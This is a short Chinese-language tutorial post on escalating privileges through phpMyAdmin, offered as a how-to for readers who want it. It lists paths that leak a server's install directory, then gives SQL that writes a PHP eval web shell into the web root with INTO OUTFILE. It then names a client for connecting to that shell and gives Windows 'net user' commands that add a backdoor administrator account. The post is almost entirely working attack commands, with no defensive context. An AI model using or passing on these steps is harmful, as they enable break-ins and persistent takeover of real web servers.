怎么利用phpMyAdmin提权（利用.phpMyAdmin.提权...）

wufei123 发布于 2024-08-19 阅读（60）

下面由phpmyadmin/" target="_blank">phpmyadmin教程栏目给大家介绍利用phpmyadmin提权的方法，希望对需要的朋友有所帮助！

怎么利用phpMyAdmin提权（利用.phpMyAdmin.提权...）

利用phpMyAdmin提权

爆路径

/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php

得到物理路径 C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

写马

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[Cknife]);?>");
select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php";
Drop TABLE IF EXISTS a;

获得webshell

最后用Cknife连接，创建帐户并添加到管理员用户组
net user admin admin /add
net localgroup administrator admin /add

以上就是怎么利用phpMyAdmin提权的详细内容，更多请关注知识资源分享宝库其它相关文章！

标签: 利用 phpMyAdmin 提权

发表评论:取消回复

◎欢迎参与讨论，请在这里发表您的看法、交流您的观点。